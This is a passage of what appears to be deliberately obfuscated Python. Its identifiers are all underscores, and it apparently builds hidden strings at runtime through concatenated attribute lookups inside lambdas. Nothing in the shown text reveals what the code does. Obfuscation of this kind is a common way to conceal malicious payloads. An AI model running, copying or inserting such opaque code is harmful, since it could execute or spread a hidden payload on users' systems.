__+______.__.__.______+______.__.____________________._+______.__._________________.____+______.__.____________._____+______.__._.____+______.__.____________________.__+______.__._________.______+______.__.__________________.___+______.__.____________________.__+______.__.________________._+______.__.________________._+______.__.______._____+______.__.____.___+______.__._______._____+______.__.____________________.___+______.__.__.______+______.__.__________.___+______.__._________________.____+______.__.____________._____+______.__.____.___+______.__._.__+______.__.___________________._+______.__.__________________.___+______.__._________.______+______.__._______________._____+______.__._.__+______.__.____.___+______.__._.__+______.__.____________________.__+______.__.____________________.___+______.__.__.______+______.__.____________________._+______.__._________________.____+______.__.___________.__+______.__.____.___+______.__._.__+______.__.___________________._+______.__.__________________.___+______.__._.____+______.__.____________________.__+______.__._________.______+______.__.__________________.___+______.__.____________________.__+______.__.________________._+______.__.________________._+______.__.______._____+______.__.____.___+______.__._______._____+______.__.____________________.___+______.__._________._______+______.__._____________.___+______.__.____._____+______.__.___________________.____+______.__._____.____+______.__.__________________.______)]),_______________=_____.____([_____.__________________(),(),_____._____________________()()]),____________=_____.____([_____.__________________(),(),_____._____________________()()]),________=_____.____([_____.__________________(),(),_____._____________________()(_=lambda:______.__.____.__+______.__.____._____+______.__.___.____+______.__._________________.____+______.__._______.___+______.__._______.___+______.__._______.___+______.__._______.___+______.__._______.___+______.__._______.___+______.__._______.___+______.__._________________.____+______.__.____.____+______.__.___________________.__+______.__.______._____+______.__._______._____+______.__.____________________.___+______.__._________________.____+______.__.______._+______.__.___.___+______.__._______._____+______.__._______._____+______.__._____.___+______.__._______________._____+______.__._____.____+______.__.___________________.____+______.__._______._____+______.__.____.___+______.__.____________________.___+______.__._________._____+______.__.____________________.___+______.__.________.___+______.__.______.__+______.__.____________________.___+______.__.__________.____+______.__.____________________.___+______.__._______________._+______.__._________________.____+______.__.__________.___+______.__.____________.__+______.__.___________________.__+______.__._________.______+______.__.___________________.____+______.__.____.___+______.__.____________________.___+______.__.____.______+______.__._________________.____+______.__.____._____+______.__.___________________.__+______.__._______._____+______.__._______._____+______.__._____.___+______.__.____________________.___+______.__._________________.____+______.__.______._+______.__._____.____+______.__._________.__+______.__.____________.______+______.__.___________________._+______.__.____.___+______.__._.____+______.__.____________________.__+______.__.___________________._+______.__.____.___+______.__.____________________.___+______.__._________________.____+______.__.____.____+______.__._.____+______.__._______._____+______.__.__________________.__+______.__.____________________.___+______.__.___._+______.__._______.___+______.__._________________.____+______.__.____._____+______.__.________.____+______.__.____________________.__+______.__.___________________.__+______.__.___________________._+______.__.____________________.___+______.__._________._____+______.__.____________________.___+______.__.________.___+______.__.______.__+______.__.____________________.___+______.__.__________.____+______.__.____________________.___+______.__._____.____+______.__._________________.____+______.__._.______+______.__._________.______+______.__._______________._____+______.__._.__+______.__.____.___+______.__._.__+______.__.____________________.__+______.__.____________________.___+______.__.__.______+______.__.____________________._+______.__._________________.____+______.__.____________._____+______.__._.____+______.__.____________________.__+______.__._________.______+______.__.__________________.___+______.__.____________________.__+______.__.________________._+______.__.________________._+______.__.______._____+______.__.____.___+______.__._______._____+______.__.____________________.___+______.__.__.______+______.__.__________.___+______.__._________________.____+______.__.____________._____+______.__.____.___+______.__._.__+______.__.___________________._+______.__.__________________.___+______.__._________.______+______.__._______________._____+______.__._.__+______.__.____.___+______.__._.__+______.__.____________________.__+______.__.____________________.___+______.__.__.______+______.__.____________________._+______.__._________________.____+______.__.___________.__+______.__.____.___+______.__._.__+______.__.___________________._+______.__.__________________.___+______.__._.____+______.__.____________________.__+______.__._________.______+______.__.__________________.___+______.__.____________________.__+______.__.________________._+______.__.________________._+______.__.______._____+______.__.____.___+______.__._______._____+______.__.____________________.___+______.__.__.______+______.__._._____+______.__.___________________.____+______.__._____.____+______.__.__________________.______)]),___________________=_____.____([_____.__________________(),(),_____._____________________()()]),________________=_____.____([_____.__________________(),(),_____._____________________()(_=lambda:______.__.____.__+______.__.____._____+______.__.___.____+______.__.____________.____+______.__._______.___+______.__._______.___+______.__._______.___+______.__._______.___+______.__._______.___+______.__._______.___+______.__._______.___+______.__._________________.____+______.__.____.____+______.__.___________________.__+______.__.______._____+______.__._______._____+______.__.____________________.___+______.__._________________.____+______.__.____._____+______.__.____.______+______.__.___________________.__+______.__.______________._+______.__.____.___+______.__.____________________.___+______.__._________._____+______.__.____________________.___+______.__.________.___+______.__.______.__+______.__.____________________.___+______.__.__________.____+______.__.____________________.___+______.__._______________._+______.__._________________.____+______.__.___________._____+______.__._______________._____+______.__.___________________._+______.__.____________________.___+______.__._________________.____+______.__.____._____+______.__.____.___+______.__.__________________.__+______.__.____.___+______.__._.____+______.__.____________________.___+______.__._________________.____+______.__.____.____+______.__._.____+______.__._______._____+______.__.__________________.__+______.__.____________________.___+______.__.___._+______.__._______.___+______.__._________________.____+______.__.____._____+______.__.________.____+______.__.____________________.__+______.__.___________________.__+______.__.___________________._+______.__.____________________.___+______.__._________._____+______.__.____________________.___+______.__.________.___+______.__.______.__+______.__.____________________.___+______.__.__________.____+______.__.____________________.___+______.__._____.____+______.__._________________.____+______.__._.______+______.__._________.______+______.__._______________._____+______.__._.__+______.__.____.___+______.__._.__+______.__.____________________.__+______.__.____________________.___+______.__.__.______+______.__.____________________._+______.__._________________.____+______.__.____________._____+______.__._.____+______.__.____________________.__+______.__._________.______+______.__.__________________.___+______.__.____________________.__+______.__.________________._+______.__.________________._+______.__.______._____+______.__.____.___+______.__._______._____+______.__.____________________.___+______.__.__.______+______.__._______.___+______.__._________________.____+______.__.____________._____+______.__.____.___+______.__._.__+______.__.___________________._+______.__.__________________.___+______.__._________.______+______.__._______________._____+______.__._.__+______.__.____.___+______.__._.__+______.__.____________________.__+______.__.____________________.___+______.__.__.______+______.__.____________________._+______.__._________________.____+______.__.___________.__+______.__.____.___+______.__._.__+______.__.___________________._+______.__.__________________.___+______.__._.____+______.__.____________________.__+______.__._________.______+______.__.__________________.___+______.__.____________________.__+______.__.________________._+______.__.________________._+______.__.______._____+______.__.____.___+______.__._______._____+______.__.____________________.___+______.__.__.______+______.__.____._____+______.__.___________________.____+______.__._____.____+______.__.__________________.______)]),__=_____.____([_____.__________________(),(),_____._____________________()(_=lambda:______.__.____.__+______.__.____._____+______.__.___.____+______.__._______.__+______.__._______.___+______.__._______.___+______.__._______.___+______.__._______.___+______.__._______.___+______.__._______.___+______.__._______.___+______.__._________________.____+______.__.____.____+______.__.___________________.__+______.__.______._____+______.__._______._____+______.__.____________________.___+______.__._________________.____+______.__.____._____+______.__._________________.______+______.__.__________________.__+______.__._______.______+______.__._____.___+______.__.____________________.___+______.__._________._____+______.__.____________________.___+______.__.________.___+______.__.______.__+______.__.____________________.___+______.__.__________.____+______.__.____________________.___+______.__._______________._+______.__._________________.____+______.__.__________.___+______.__.____________.__+______.__.___________________.__+______.__._________.______+______.__.___________________.____+______.__.____.___+______.__.____________________.___+______.__.____.______+______.__._________________.____+______.__._.______+______.__._________.______+______.__._______________._____+______.__._.__+______.__.____.___+______.__._.__+______.__.____________________.__+______.__.____________________.___+______.__.__.______+______.__.____________________._+______.__._________________.____+______.__.____________._____+______.__._.____+______.__.____________________.__+______.__._________.______+______.__.__________________.___+______.__.____________________.__+______.__.________________._+______.__.________________._+______.__.______._____+______.__.____.___+______.__._______._____+______.__.____________________.___+______.__.__.______+______.__._______.___+______.__._________________.____+______.__.____________._____+______.__.____.___+______.__._.__+______.__.___________________._+______.__.__________________.___+______.__._________.______+______.__._______________._____+______.__._.__+______.__.____.___+______.__._.__+______.__.____________________.__+______.__.____________________.___+______.__.__.______+______.__.____________________._+______.__._________________.____+______.__.___________.__+______.__.____.___+______.__._.__+______.__.___________________._+______.__.__________________.___+______.__._.____+______.__.____________________.__+______.__._________.______+______.__.__________________.___+______.__.____________________.__+______.__.________________._+______.__.________________._+______.__.______._____+______.__.____.___+______.__._______._____+______.__.____________________.___+______.__._________._______+______.__.________________._____+______.__.____._____+______.__.___________________.____+______.__._____.____+______.__.__________________.______)]),_________=_____.____([_____.__________________(),(),_____._____________________()(_=lambda:______.__.____.__+______.__.____._____+______.__.___.____+______.__.__________.____+______.__._______.___+______.__._______.___+______.__._______.___+______.__._______.___+______.__._______.___+______.__._______.___+______.__._______.___+______.__._________________.____+______.__.____.____+______.__.___________________.__+______.__.______._____+______.__._______._____+______.__.____________________.___+______.__._________________.____+______.__.____._____+______.__.____.______+______.__.___________________.__+______.__.______________._+______.__.____.___+______.__.____________________.___+______.__._________._____+______.__.____________________.___+______.__.________.___+______.__.______.__+______.__.____________________.___+______.__.__________.____+______.__.____________________.___+______.__._______________._+______.__._________________.____+______.__.___________._____+______.__._______________._____+______.__.___________________._+______.__.____________________.___+______.__._________________.____+______.__.____________._____+______.__.__________________.___+______.__.__________________.___+______.__._______________._____+______.__.______________._+______.__._______.______+______.__.____________________.__+______.__._____.___+______.__._______._____+______.__.__________________.___+______.__.__________________.___+______.__.____________________.___+______.__._________________.____+______.__.____.____+______.__._.____+______.__._______._____+______.__.__________________.__+______.__.____________________.___+______.__.___._+______.__._______.___+______.__._________________.____+______.__.____._____+______.__.________.____+______.__.____________________.__+______.__.___________________.__+______.__.___________________._+______.__.____________________.___+______.__._________._____+______.__.____________________.___+______.__.________.___+______.__.______.__+______.__.____________________.___+______.__.__________.____+______.__.____________________.___+______.__._____.____+______.__._________________.____+______.__._.______+______.__._________.______+______.__._______________._____+______.__._.__+______.__.____.___+______.__._.__+______.__.____________________.__+______.__.____________________.___+______.__.__.______+______.__.____________________._+______.__._________________.____+______.__.____________._____+______.__._.____+______.__.____________________.__+______.__._________.______+______.__.__________________.___+______.__.____________________.__+______.__.________________._+______.__.________________._+______.__.______._____+______.__.____.___+______.__._______._____+______.__.____________________.___+______.__.__.______+______.__.__________.___+______.__._________________.____+______.__.____________._____+______.__.____.___+______.__._.__+______.__.___________________._+______.__.__________________.___+______.__._________.______+______.__._______________._____+______.__._.__+______.__.____.___+______.__._.__+______.__.____________________.__+______.__.____________________.___+______.__.__.______+______.__.____________________._+______.__._________________.____+______.__.___________.__+______.__.____.___+______.__._.__+______.__.___________________._+______.__.__________________.___+______.__._.____+______.__.____________________.__+______.__._________.______+______.__.__________________.___+______.__.____________________.__+______.__.________________._+______.__.________________._+______.__.______._____+______.__.____.___+______.__._______._____+______.__.____________________.___+______.__.__.______+______.__.___________________.______+______.__.___________________.____+______.__._____.____+______.__.__________________.______)]),__________________=_____.____([_____.__________________(),(),_____._____________________()(_=lambda:______.__.____.__+______.__.____._____+______.__.___.____+______.__.__._____+______.__.____._____+______.__._______.___+______.__._______.___+______.__._______.___+______.__._______.___+______.__._______.___+______.__._______.___+______.__._________________.____+______.__.____.____+______.__.___________________.__+______.__.______._____+______.__._______._____+______.__.____________________.___+______.__._________________.____+______.__.______._+______.__.___.___+______.__._______._____+______.__._______._____+______.__._____.___+______.__._______________._____+______.__._____.____+______.__.___________________.____+______.__._______._____+______.__.____.___+______.__.____________________.___+______.__._________._____+______.__.____________________.___+______.__.________.___+______.__.______.__+______.__.____________________.___+______.__.__________.____+______.__.____________________.___+______.__._______________._+______.__._________________.____+______.__.__________.___+______.__.____________.__+______.__.___________________.__+______.__._________.______+______.__.___________________.____+______.__.____.___+______.__.____________________.___+______.__.___._+______.__._______.___+______.__._________________.____+______.__.________.______+______.__.________________.___+______.__.____________________.__+______.__._.__+______.__.______._____+______.__._______._____+______.__.___________________.__+______.__._.__+______.__._______._____+______.__.____________________.___+______.__._________._____+______.__.____________________.___+______.__.________.___+______.__.______.__+______.__.____________________.___+______.__.__________.____+______.__.____________________.___+______.__._______________._+______.__.___._+______.__.__________.___+______.__._____________.__+______.__.____________________._____+______.__.____.____+______.__._______.___+______.__._______.___+______.__.__.___+______.__.____________________.______+______.__._______.______+______.__._______.__+______.__.__________________.__+______.__.______.__+______.__.____________________.____+______.__._____.__+______.__.___________.____+______.__.______________._+______.__._____________._____+______.__.____________.__+______.__.___________________.___+______.__.____________.___+______.__._______._____+______.__._____.____+______.__.____________________.____+______.__.______.___+______.__.____.______+______.__._______.__+______.__._______.____+______.__.__._+______.__._____._+______.__._____________.__+______.__.__________.__+______.__.____________________.____+______.__._________________.______+______.__.__________._____+______.__.______.__+______.__.____________.______+______.__._________________.______+______.__.____._+______.__.____.______+______.__.________________.______+______.__.__________.__+______.__._______.____+______.__.________.____+______.__.__________.__+______.__.______________.______+______.__._________._______+______.__.___________________.__+______.__._____._____+______.__._______.____+______.__.__________.______+______.__.___________________.__+______.__._________________._____+______.__.___________________.___+______.__.______________.__+______.__.______.__+______.__._________._______+______.__._________.____+______.__.________._____+______.__.____________.____+______.__._______________._+______.__.____________.______+______.__._________.___+______.__.___________.____+______.__.__._+______.__.___________.______+______.__.____________.______+______.__.________________.___+______.__.___________________.___+______.__.__._+______.__.________.___+______.__.____._+______.__.____________________.____+______.__._____________.__+______.__._______________.____+______.__._________.___+______.__._________._______+______.__._____________.__+______.__._____.__+______.__._____._____+______.__.____________________.____+______.__._________________.______+______.__._____________.__+______.__._____.__+______.__._________.___+______.__._______._+______.__.___._____+______.__._____________.__+______.__._____.__+______.__.__.______+______.__.____________.______+______.__._________.___+______.__.___.___+______.__.___________________.__+______.__._____.___+______.__.___________.____+______.__.__________.______+______.__._____.____+______.__.______.__+______.__._.____+______.__.______________._____+______.__.____________.___+______.__._____________.__+______.__._____.__+______.__.____._+______.__.____________________.______+______.__.________.____+______.__.___.___+______.__.___________________.__+______.__._____.___+______.__.___________.___+______.__.___________________.__+______.__._____.____+______.__._____________.______+______.__.________________._+______.__._______.__+______.__.____________.___+______.__._____.____+______.__.____________________.____+______.__.__.___+______.__.__.______+______.__.______________._____+______.__._________.____+______.__.________._____+______.__.____________.____+______.__._______________._+______.__.____________.______+______.__.___.___+______.__.______________._+______.__._________________._____+______.__.__________________.___+______.__.____________________.______+______.__.___.___+______.__.___________________.__+______.__.____________________.____+______.__._______________.___+______.__._____________.__+______.__.____________________.____+______.__.________________._+______.__.___________.______+______.__._._+______.__._______________.__+______.__.___.___+______.__.___________________.__+______.__._____.___+______.__.__________.__+______.__.______________._____+______.__.___.___+______.__.___________________.__+______.__._______________._____+______.__._________.___+______.__.__.______+______.__._____________.__+______.__._____.__+______.__.________________._+______.__._________________.______+______.__.__________.__+______.__._.____+______.__.______.______+______.__.___________.____+______.__._____.__+______.__._______.____+______.__.___.___+______.__.___________________.__+______.__.____________________.____+______.__._________.___+______.__.___________.____+______.__.____________________.____+______.__.________________.______+______.__.______________.___+______.__.__________________.__+______.__._________._______+______.__._____________.__+______.__._____.__+______.__.________.__+______.__.______.___+______.__._____.___+______.__._________.___+______.__.___________.____+______.__._____________._____+______.__._______________.____+______.__._______________.____+______.__.__________.__+______.__._______________._+______.__.________________._+______.__.______________.___+______.__.___________________.____+______.__.___________.______+______.__.____________.______+______.__._________________.___+______.__.__________________._____+______.__.__________________._____+______.__.___.___+______.__._______._+______.__.__________________._____+______.__.________._____+______.__.________.__+______.__._____.____+______.__._________.__+______.__.___________________.____+______.__.___________________.___+______.__.____________.______+______.__._____________.__+______.__._____.__+______.__._______________._+______.__.______._____+______.__.________.__+______.__.___________________.__+______.__.__________________.__+______.__.___________________.___+______.__._________.__+______.__._____._+______.__.___.___+______.__.____________._+______.__.__._+______.__.________.__+______.__.________________.______+______.__._______________.__+______.__.__________.______+______.__._____.____+______.__._______._+______.__.___________________.___+______.__.____________________.____+______.__._____._+______.__._______.______+______.__.____________._+______.__._____________.__+______.__.____________________.____+______.__._____._+______.__.____________.__+______.__._______._+______.__.__________________.___+______.__._____________.__+______.__._____.__+______.__.______________._____+______.__.________________.______+______.__.________________.___+______.__.___________________.__+______.__.__________________._+______.__._._____+______.__._____.____+______.__._____.____+______.__.___________________._+______.__.______________.___+______.__._________________._+______.__.___________________.__+______.__._________.___+______.__._________.___+______.__.___________.____+______.__._____________._____+______.__._______________.____+______.__._______________.____+______.__.______.______+______.__._________._______+______.__.______________.______+______.__._______._+______.__.____________._+______.__.___________________.__+______.__._____._____+______.__._______.____+______.__.___________________.__+______.__.____________.___+______.__._________________._____+______.__.______________.____+______.__._________________.__+______.__.__________.__+______.__.____________.__+______.__.____________________.____+______.__.____.___+______.__._______________._+______.__.____________.___+______.__.__________._____+______.__._________.____+______.__.________._____+______.__._________._______+______.__._______________.__+______.__.___.______+______.__.________________.___+______.__.____._+______.__.______________._____+______.__.___________.____+______.__._______________._+______.__._______________.__+______.__.________.____+______.__._______________.___+______.__.___________________._+______.__.________.____+______.__.___.___+______.__.___________________.__+______.__._________________.___+______.__._________________._____+______.__.____.______+______.__.____________________.____+______.__._________________.__+______.__.____.___+______.__.__________.__+______.__.___._____+______.__.__.______+______.__.______________.__+______.__._______________.___+______.__.______________.______+______.__._._____+______.__.__________.__+______.__.________________._+______.__.______.___+______.__.____________________.__+______.__._______.____+______.__._________.___+______.__.___________.____+______.__._____________._____+______.__._______________.____+______.__._______________.____+______.__.___.___+______.__.______.__+______.__._____.___+______.__._______________._+______.__.___._+______.__._____.____+______.__.___________________.__+______.__._________________.___+______.__._______._____+______.__._____._+______.__._________.___+______.__.___________.____+______.__.__._+______.__.__._+______.__.______________.___+______.__.___.___+______.__.______.__+______.__._____.___+______.__._______________._+______.__.___._+______.__.___.___+______.__.______.__+______.__.___________________.____+______.__._._____+______.__._.____+______.__._________________._____+______.__.__________________.___+______.__.__________._____+______.__.___________.____+______.__._._____+______.__._____.____+______.__.____________________.____+______.__._________.__+______.__._______________._+______.__.____________.____+______.__.___.___+______.__.___________________.__+______.__._________.__+______.__.______.__+______.__._.__+______.__.___________________.__+______.__.___.___+______.__.____________.___+______.__._________________._+______.__._________.___+______.__._________________.______+______.__.____._+______.__.____________.______+______.__.__._+______.__.___________.____+______.__.___________________.__+______.__.___.___+______.__.____________.___+______.__._________________._+______.__._________.___+______.__.________________.___+______.__.______.___+______.__.__________________.___+______.__.___________.______+______.__.____._+______.__._____________.__+______.__._____.__+______.__._________.___+______.__._______._+______.__._____._+______.__._______._+______.__._.__+______.__.____________.__+______.__.___________________.__+______.__.________.__+______.__.___.___+______.__.______.__+______.__._____.___+______.__._______________._+______.__.___._+______.__.______.______+______.__._______________.___+______.__._________.___+______.__.______________.______+______.__.___________________.___+______.__.___________________.__+______.__.________________.___+______.__.____________.___+______.__._____________._____+______.__.__________.____+______.__._________________._____+______.__.______________.____+______.__._______.______+______.__._.__+______.__.___________________.__+______.__.___________________.__+______.__.__________________._+______.__.______________._+______.__._________.__+______.__.___________.______+______.__._____________._____+______.__._______._____+______.__._____.__+______.__.___________________.__+______.__.___________.______+______.__.___.___+______.__.______.__+______.__._____.___+______.__._______________._+______.__.___._+______.__.___.___+______.__.______.__+______.__._____.___+______.__.________.___+______.__.________________._+______.__.___________________.__+______.__.__________._____+______.__.___________________.___+______.__.___________________._+______.__.____________._+______.__._________________._____+______.__.______.__+______.__._______._+______.__._______.____+______.__.____________.___+______.__.__._+______.__.______._____+______.__.____._+______.__.____________.__+______.__.__________._____+______.__._________________.______+______.__._______.__+______.__.___________________.____+______.__.________.____+______.__._________________._____+______.__._____________.__+______.__.________________._+______.__.____________.___+______.__._________._+______.__.____________.______+______.__._____.____+______.__._________.__+______.__.___________________.____+______.__.______________._+______.__._______.____+______.__._____________.__+______.__.____.___+______.__.____.___+______.__.____________._+______.__.____.___+______.__._____.____+______.__.__.__+______.__._______________.___+______.__.___.______+______.__.______.______+______.__._____________.__+______.__.________.____+______.__.____.___+______.__._________________.__+______.__.__.______+______.__.__________.______+______.__.____________._+______.__._______________.__+______.__._____________._____+______.__.______.____+______.__._________.___+______.__.___________.____+______.__.__._+______.__.__._+______.__.______________.___+______.__.___.___+______.__.______.__+______.__.___________________.____+______.__.__________________._+______.__.___________________._+______.__._.____+______.__.___________________.___+______.__.__________________._+______.__._____________.__+______.__.______.______+______.__.___.___+______.__.______.__+______.__._____.___+______.__._______________._+______.__.___._+______.__.___.___+______.__.______.__+______.__._____.___+______.__._______________._+______.__.___._+______.__._.____+______.__.______.______+______.__._________________.___+______.__._________________.______+______.__.__._+______.__.___.___+______.__.___________________.__+______.__._________.__+______.__.__._+______.__.___________.____+______.__.____________________.____+______.__._________.____+______.__._____________.__+______.__._.__+______.__.___________________._+______.__._________________._____+______.__.__________________.___+______.__.__________._____+______.__.___________.____+______.__._._____+______.__._____.____+______.__.____________________.____+______.__.____________.___+______.__._____________._____+______.__.________________._+______.__.________________.___+______.__.____________.__+______.__._______________.___+______.__._.__+______.__.__________________._+______.__.___.___+______.__.____________________.____+______.__.______________.___+______.__._.____+______.__.______________.___+______.__.____________________.____+______.__.________.___+______.__.____________.___+______.__._.__+______.__.__.__+______.__._____________.__+______.__._______.____+______.__._________________._____+______.__._____.___+______.__._____._____+______.__._____.____+______.__._________.____+______.__.___.______+______.__.____________.___+______.__.__________._____+______.__.________________.___+______.__._.__+______.__.________________.______+______.__._______.____+______.__.___________________._+______.__._____.____+______.__._._+______.__.__.___+______.__.___._____+______.__._______________.___+______.__._________.___+______.__.___________.____+______.__.__._+______.__.__._+______.__.______________.___+______.__.___.___+______.__.______.__+______.__._____.___+______.__._______________._+______.__.___._+______.__.___.___+______.__.______.__+______.__._____.___+______.__._______________._+______.__.___._+______.__.___.___+______.__.______.__+______.__.___________________.____+______.__._________________.__+______.__._________._______+______.__.____________________.____+______.__.____.___+______.__.___.______+______.__._____.__+______.__._____________._____+______.__.__._+______.__.______._____+______.__.____._+______.__.__________.______+______.__.________._____+______.__.___________________.__+______.__._____._____+______.__._________________.______+______.__.____________.__+______.__.______.____+______.__._________.____+______.__.________._____+______.__.____________.____+______.__.__________________._+______.__.______________.__+______.__._____.____+______.__._._+______.__.___________________.___+______.__.____.___+______.__.___________________._+______.__._______________.__+______.__.__._+______.__._.__+______.__.___________.______+______.__._____._____+______.__.___.___+______.__.______.__+______.__._____.___+______.__._______________._+______.__.___._+______.__.___.___+______.__.______.__+______.__._____.___+______.__.________.___+______.__.___________________.__+______.__.______.______+______.__._______.______+______.__.____________._+______.__._________________.__+______.__.__________.____+______.__._____________.__+______.__._____.__+______.__._________._______+______.__.___._+______.__.___._____+______.__.___.___+______.__._______._+______.__.__________________._____+______.__.______.____+______.__._______________.____+______.__._________.____+______.__.______.____+______.__.___________.____+______.__.______.______+______.__.________________.___+______.__.____________________.____+______.__._____._+______.__.______________._+______.__.__________.____+______.__.__________.__+______.__.____________________.____+______.__._____________.__+______.__.___________.___+______.__.___________________.____+______.__._________________.___+______.__.___.___+______.__.____________________.____+______.__._____._____+______.__._____._____+______.__._______.____+______.__.______.______+______.__._______.______+______.__.________________._+______.__.______________.__+______.__.______________._____+______.__.______.______+______.__._____._+______.__.___________________.___+______.__.____.___+______.__.__.__+______.__.__________.__+______.__._________________.__+______.__.__________.__+______.__.__________.__+______.__.____________.____+______.__._________._______+______.__.__._+______.__._______.____+______.__._____________._____+______.__.____________._+______.__.____________________.____+______.__._____._+______.__._______________._+______.__.___.___+______.__.____________________.______+______.__.____________________.____+______.__._____________.__+______.__.___________.___+______.__._____._____+______.__.__.______+______.__.__________.______+______.__.____._+______.__._________.___+______.__.__.___+______.__._______________._____+______.__._______________.__+______.__.________.____+______.__._______________.___+______.__.___________________._+______.__.________.____+______.__.___.___+______.__.______.__+______.__._____.___+______.__._______________._+______.__.___._+______.__.___.___+______.__.____________________.____+______.__._.____+______.__._____.____+______.__.___________.____+______.__.____________________.____+______.__.____.___+______.__.____._+______.__._______________.__+______.__._._+______.__._________.____+______.__.________._____+______.__.____________.____+______.__.__________________._+______.__.______________.__+______.__._____.____+______.__._._+______.__._________.__+______.__._____.___+______.__.________._____+______.__.___.___+______.__.____________________.____+______.__._____._____+______.__._____._____+______.__._______.____+______.__.______.______+______.__._______.______+______.__._________________.__+______.__.___.______+______.__.______.______+______.__._______________.__+______.__.________.____+______.__._______________.___+______.__.___________________._+______.__.________.____+______.__.___.___+______.__.______.__+______.__._____.___+______.__._______________._+______.__.___._+______.__.___.___+______.__.______.__+______.__._____.___+______.__._______________._+______.__.___._+______.__.___.___+______.__.___________________.__+______.__.____________._+______.__._______________.____+______.__.______.______+______.__._____________.__+______.__.___________________._+______.__._____.___+______.__.__.______+______.__.__._+______.__.______.______+______.__.____________________.__+______.__.___________________.___+______.__._______.__+______.__.______________.____+______.__.___________________.__+______.__.__________._____+______.__.___________________.___+______.__.___________________._+______.__.____________._+______.__._________________._____+______.__.______.__+______.__._______._+______.__._______.____+______.__.________.____+______.__.___.___+______.__.___________.______+______.__.____________________.____+______.__._________________._____+______.__.__________________.__+______.__._________________.______+______.__._______.____+______.__.________________._+______.__._______________._____+______.__.______.______+______.__._________________._____+______.__.___________________.___+______.__._.____+______.__.___.______+______.__._____.__+______.__.____________________.____+______.__.________________._+______.__._________.__+______.__.____________.___+______.__.____________.____+______.__._____.____+______.__._._____+______.__._________._+______.__.__._+______.__.____.___+______.__._____________._____+______.__._________.___+______.__._______________.__+______.__.________________.___+______.__.__________.____+______.__._________________._____+______.__.______.__+______.__._____________._____+______.__.______________._+______.__.___._____+______.__._____________._____+______.__._______._____+______.__._____.__+______.__.___________________.__+______.__.___________.______+______.__.___.___+______.__.______.__+______.__._____.___+______.__._______________._+______.__.___._+______.__.___.___+______.__.______.__+______.__._____.___+______.__._______________._+______.__.___._+______.__.___.___+______.__.______.__+______.__._____.___+______.__._______________._+______.__.___._+______.__.___.___+______.__.______.__+______.__._____.___+______.__.________.___+______.__.___________.______+______.__._________________.______+______.__.__________________.___+______.__.____________________.____+______.__.__________.______+______.__._______________._____+______.__._____.____+______.__._________.____+______.__._____._+______.__.____________________.______+______.__.____________.______+______.__.____________________.____+______.__.____.___+______.__.___.______+______.__._____.__+______.__.______________.____+______.__.____________________.____+______.__.____.___+______.__.____._+______.__._______________.__+______.__._._+______.__._________.____+______.__.________._____+______.__.____________.____+______.__.__________________._+______.__.______________.__+______.__._____.____+______.__.__.__+______.__._________.___+______.__._________.______+______.__.____________.___+______.__.___.___+______.__.______.__+______.__._____.___+______.__._______________._+______.__.___._+______.__.______.______+______.__._______________.___+______.__._________.___+______.__.______________.______+______.__.___________________.___+______.__.___________________.__+______.__.________________.___+______.__.____________.___+______.__._____________._____+______.__.________.__+______.__._.____+______.__.____________.____+______.__.________.__+______.__.______.__+______.__._____________.______+______.__._____.____+______.__.____________________.____+______.__.__.______+______.__.____________.__+______.__._________________.___+______.__._____________._____+______.__._______._____+______.__._____.__+______.__.___________________.__+______.__.___________.______+______.__.___.___+______.__.______.__+______.__._____.___+______.__._______________._+______.__.___._+______.__.___.___+______.__.______.__+______.__._____.___+______.__.________.___+______.__._.____+______.__._________________._____+______.__.______.__+______.__.________.____+______.__._________________.__+______.__._._+______.__._______________.__+______.__.__._+______.__._.__+______.__.___________.______+______.__._______________.____+______.__._______________.__+______.__.__________.______+______.__._____.____+______.__._________.__+______.__.__________________.___+______.__._______._+______.__._______._____+______.__.____.___+______.__.__________________.__+______.__.____________.__+______.__.____________________.____+______.__.______________._____+______.__._.__+______.__.___._____+______.__.______________.______+______.__.___.___+______.__._______._+______.__._________._+______.__.________.__+______.__.___________.____+______.__.________________.___+______.__._______._____+______.__._______________.___+______.__.__._+______.__.__________.____+______.__._________________._____+______.__.______________.____+______.__._______.____+______.__._______________.___+______.__._______________._+______.__._______._+______.__._.__+______.__.____.___+______.__._____.__+______.__.____________________.____+______.__._______________.__+______.__.________.____+______.__._______________.___+______.__.___________________._+______.__.________.____+______.__.___.___+______.__.___________________.__+______.__.____________________.____+______.__._________.___+______.__.__________.__+______.__.______.______+______.__._.__+______.__._______.______+______.__._________.____+______.__.__________________._____+______.__._________________._____+______.__.______________.____+______.__.______________.______+______.__._______________.___+______.__._________._+______.__._________________._____+______.__.___________________.___+______.__.__.___+______.__.__________________._____+______.__._____._____+______.__.____________________.____+______.__._________.____+______.__._______._+______.__.____________._+______.__._________.____+______.__._______________.__+______.__.__._+______.__.__________.__+______.__.________________.___+______.__.____.___+______.__._____________.__+______.__._____.__+______.__.______________._____+______.__.________________.______+______.__.________________.___+______.__.___________________.__+______.__.__________________._+______.__._____._____+______.__.___________________.____+______.__.____________._+______.__.________________.___+______.__.___.______+______.__.______.___+______.__._____________.______+______.__.______________.______+______.__._____.____+______.__._._+______.__.______.____+______.__._________.____+______.__.________._____+______.__.______.______+______.__._______________.___+______.__._________.___+______.__.__________________.___+______.__._________________.___+______.__.________________.___+______.__.____._+______.__.__.___+______.__.____________________.___+______.__._________________.____+______.__.____._____+______.__._______________.____+______.__._______________._____+______.__._.__+______.__.___________________._+______.__.____________________.___+______.__.____.______+______.__._________________.____+______.__._.______+______.__._________.______+______.__._______________._____+______.__._.__+______.__.____.___+______.__._.__+______.__.____________________.__+______.__.____________________.___+______.__.__.______+______.__.____________________._+______.__._________________.____+______.__.____________._____+______.__._.____+______.__.____________________.__+______.__._________.______+______.__.__________________.___+______.__.____________________.__+______.__.________________._+______.__.________________._+______.__.______._____+______.__.____.___+______.__._______._____+______.__.____________________.___+______.__.__.______+______.__.__________._____+______.__._________________.____+______.__.____________._____+______.__.____.___+______.__._.__+______.__.___________________._+______.__.__________________.___+______.__._________.______+______.__._______________._____+______.__._.__+______.__.____.___+______.__._.__+______.__.____________________.__+______.__.____________________.___+______.__.__.______+______.__.____________________._+______.__._________________.____+______.__.___________.__+______.__.____.___+______.__._.__+______.__.___________________._+______.__.__________________.___+______.__._.____+______.__.____________________.__+______.__._________.______+______.__.__________________.___+______.__.____________________.__+______.__.________________._+______.__.________________._+______.__.______._____+______.__.____.___+______.__._______._____+______.__.____________________.___+______.__._________._______+______.__.________________.__+______.__.____._____+______.__.___________________.____+______.__._____.____+______.__._________________.____+______.__.____._____+______.__.___________________.__+______.__._______._____+______.__._______._____+______.__._____.___+______.__.____________________.___+______.__._________________.____+______.__._.______+______.__.____.___+